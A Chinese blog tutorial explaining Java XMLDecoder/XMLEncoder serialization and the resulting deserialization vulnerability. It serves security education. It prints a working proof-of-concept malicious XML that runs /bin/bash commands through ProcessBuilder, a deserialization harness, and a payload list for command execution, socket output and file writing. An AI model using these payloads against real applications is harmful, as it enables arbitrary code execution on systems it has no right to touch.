XMLDecoder 反序列化漏洞

XMLDecoder/XMLEncoder

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

XMLEncoder示例

import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class XmlEncoder {
    public static void main(String[] args) throws FileNotFoundException {
        XMLEncoder e = new XMLEncoder(
                new BufferedOutputStream(
                        new FileOutputStream("Test.xml")));
        e.writeObject(new JButton("Hello, world"));
        e.close();
    }
}

XMLEncoder类是ObjectOutputStream的补充,序列化JButton类,生成的序列化XML文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_333" class="java.beans.XMLDecoder">
 <object class="javax.swing.JButton">
  <string>Hello, world</string>
 </object>
</java>

XMLDecoder示例

import java.beans.XMLDecoder;
import java.io.*;

public class XmlDecoder {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(
                new BufferedInputStream(
                        new FileInputStream("Test.xml")));
        Object result = d.readObject();
        System.out.println(result);
        d.close();
    }
}

使用XMLDecoder读取序列化的XML文档,获取JButton类并打印输出:

javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@37a71e93,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello, world,defaultCapable=true]

XML文档-对象和元素

XMLEncoder生成的XML序列化文档表示对象,文档中的每个元素都用来描述如何调用对象的方法。

string标签

Hello, World字符串表示的方式为<string>Hello, World</string>

object标签

通过<object>标签表示对象,class属性指定具体类(用于调用其内部方法),method属性指定具体方法名称(比如构造函数的的方法名为new

new JButton("Hello, world")对应的XML文档:

<object class="javax.swing.JButton"  method="new">
  <string>Hello, world</string>
</object>

void标签

通过void标签表示函数调用、赋值等操作,method属性指定具体的方法名称。

JButton b = new JButton();b.setText("Hello, world");对应的XML文档:

<object class="javax.swing.JButton">
  <void method="setText">
    <string>Hello, world</string>
  </void>
</object>

array标签

通过array标签表示数组,class属性指定具体类,内部void标签的index属性表示根据指定数组索引赋值。

String[] s = new String[3];s[1] = "Hello, world";对应的XML文档:

<array class="java.lang.String" length="3">
  <void index="1">
    <string>Hello, world</string>
  </void>
</array>

XMLDecoder反序列化漏洞

通过XMLDecoder反序列化XML文档时可以执行类方法,若XML文档可控且构造恶意内容,就可以完成任意代码执行。

恶意XML:

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <void class="java.lang.ProcessBuilder" method="new">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>open /System/Applications/Calculator.app/</string>
            </void>
        </array>
        <void method="start"/>
    </void>
</java>

使用java.lang.ProcessBuilder进行代码执行,整个恶意XML反序列化后相当于执行代码:

String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();

反序列化代码:

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.lang.ProcessBuilder;
public class xmlDecodeTest {
    public static void main(String[] args) throws FileNotFoundException {
        String path = "poc.xml";

        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);

        XMLDecoder a = new XMLDecoder(bis);
        a.readObject();

    }
}

运行后弹出计算器:

可用payload

  • 执行命令
<object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>open /System/Applications/Calculator.app/</string>
        </void>
    </array>
    <void method="start"/>
</object>
  • 使用套接字,连接127.0.0.1的6666端口并发送数据
<object class="java.net.Socket">
    <string>127.0.0.1</string>
    <int>6666</int>
    <void method="getOutputStream">
        <void method="write">
            <array class="byte" length="2">
                <void index="0">
                    <byte>49</byte>
                </void>
                <void index="1">
                    <byte>49</byte>
                </void>
            </array>
        </void>
    </void>
</object>
  • 创建文件并写入
<object class="java.io.PrintWriter">
    <void class="java.io.FileOutputStream">
        <string>2.txt</string>
    </void>
    <string>2.txt</string>
    <void method="print">
        <string>xmldecoder_vul_test</string>
    </void>
    <void method="close"/>
</object>

参考资料

Java XMLDecoder反序列化漏洞

评论

  1. sss
    7月前
    2023-2-25 15:50:32

    转载的吧

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇